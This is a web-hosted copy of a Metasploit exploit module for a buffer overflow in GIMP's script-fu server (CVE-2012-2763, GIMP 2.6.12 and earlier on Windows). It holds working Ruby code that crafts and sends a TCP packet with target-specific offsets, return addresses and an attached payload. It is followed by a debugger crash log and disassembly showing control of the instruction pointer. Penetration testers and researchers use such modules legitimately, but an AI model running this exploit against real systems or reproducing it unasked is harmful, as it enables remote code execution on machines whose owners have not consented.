Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/gimp_script_fu.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'GIMP script-fu Server Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in the script-fu server15component on GIMP <= 2.6.12. By sending a specially crafted packet, an16attacker may be able to achieve remote code execution under the context17of the user.1819This module has been tested on GIMP for Windows from installers20provided by Jernej Simoncic.21},22'Author' =>23[24'Joseph Sheridan', # Vulnerability Discovery and PoC25'juan vazquez' # Metasploit module26],27'References' =>28[29[ 'CVE', '2012-2763' ],30[ 'OSVDB', '82429' ],31[ 'BID', '53741' ],32[ 'EDB', '18956' ],33[ 'URL', 'http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overflow-GIMP-2.6.html' ]34],35'DefaultOptions' =>36{37'EXITFUNC' => 'process',38},39'Payload' =>40{41'Space' => 1024,42'BadChars' => "\x00\x09\x0a\x0d\x20\x28\x29\x3b" + (0x80..0xff).to_a.pack("C*"),43'DisableNops' => true,44},45'Platform' => 'win',46'Targets' =>47[48[ 'GIMP 2.6.10 (no DEP) / Windows XP SP3 / Windows 7 SP1',49{50'Offset' => 1102,51'Ret' => 0x00425a52,52'BufferRegister' => 'EDX'53}54],55[ 'GIMP 2.6.1 (no DEP) / Windows XP SP3 / Windows 7 SP1',56{57'Offset' => 1086,58'Ret' => 0x00425a22,59'BufferRegister' => 'EAX'60}61]62],63'Privileged' => true,64'DefaultTarget' => 0,65'DisclosureDate' => '2012-05-18'))6667register_options([Opt::RPORT(10008)])68end6970def exploit71connect7273payload.encoder.datastore.import_options_from_hash({ 'BufferRegister' => target['BufferRegister'] })74my_payload = payload.generate75sploit = my_payload76sploit << rand_text(target['Offset'] - my_payload.length)77sploit << [target.ret].pack("V")7879pkt = "\x47" # Magic80pkt << [sploit.length / 256].pack("C") # length_of_script_fu (high byte)81pkt << [sploit.length % 256].pack("C") # length_of_script_fu (low byte)82pkt << sploit8384print_status("Trying target #{target.name}...")85sock.put(pkt)8687handler88disconnect89end90end9192=begin9394* Crash example:95960:003> g97(b2c.b28): Access violation - code c0000005 (first chance)98First chance exceptions are reported before any exception handling.99This exception may be expected and handled.100*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\GIMP-2.0\lib\gimp\2.0\plug-ins\script-fu.exe101eax=00000000 ebx=0041e523 ecx=61616161 edx=61616161 esi=003ed200 edi=00000001102eip=61616161 esp=0022f87c ebp=0022f898 iopl=0 nv up ei pl nz na po nc103cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0001020210461616161 ?? ???1050:000> kb106ChildEBP RetAddr Args to Child107WARNING: Frame IP not in any known module. Following frames may be wrong.1080022f878 0040c86f 00000000 0041e523 00000007 0x616161611090022f898 0040c944 00000000 0041e523 00000007 script_fu+0xc86f1100022f8c8 004102fe 00420240 0041e523 0022f918 script_fu+0xc9441110022f918 0040e6ca 00420240 00000086 77c303ad script_fu+0x102fe1120022fb78 0040ea8e 00ff2c38 00f32df0 0022fba8 script_fu+0xe6ca1130022fba8 004087cf 00420240 00ff2c38 00989680 script_fu+0xea8e1140022fbc8 00407f8a 00ff2c38 00f32df0 00000000 script_fu+0x87cf1150022fe18 00408601 00f7a040 00000000 00000001 script_fu+0x7f8a116*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\GIMP-2.0\bin\libgimp-2.0-0.dll -1170022fe78 6f4c304b 003ec238 00000001 003ec3c8 script_fu+0x86011180022ff28 00401a81 0041b510 00000006 003e4878 libgimp_2_0_0!gimp_main+0x73b1190022ff58 004010db 00000006 003e4878 003e29e8 script_fu+0x1a811200022ffa0 00401158 00000002 8061750d 7c90dc9c script_fu+0x10db121*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -1220022ffc0 7c817067 00017228 1474f685 7ffda000 script_fu+0x11581230022fff0 00000000 00401140 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49124125* Control is reached here:126127.text:0040C851 loc_40C851: ; CODE XREF: sub_40C830+19j128.text:0040C851 test edx, edx129.text:0040C853 jz short loc_40C84B130.text:0040C855 mov ecx, ds:dword_420E24131.text:0040C85B mov [esp+18h+var_14], ebx132.text:0040C85F mov [esp+18h+var_C], ecx133.text:0040C863 mov [esp+18h+var_10], eax134.text:0040C867 mov eax, [ebp+arg_0]135.text:0040C86A mov [esp+18h+var_18], eax136.text:0040C86D call edx ; dword_420E20 : Overwriting dword_420E20 allows to get EIP137138The overflow allows to overwrite function pointers stored in the .bss (unitialized139global variables)1401410:003> g142Breakpoint 0 hit143eax=00000000 ebx=0041e523 ecx=bfbfbf00 edx=42424242 esi=003ed200 edi=00000001144eip=0040c86d esp=0022f880 ebp=0022f898 iopl=0 nv up ei pl nz na pe nc145cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206146script_fu+0xc86d:1470040c86d ffd2 call edx {42424242}148149=end150151152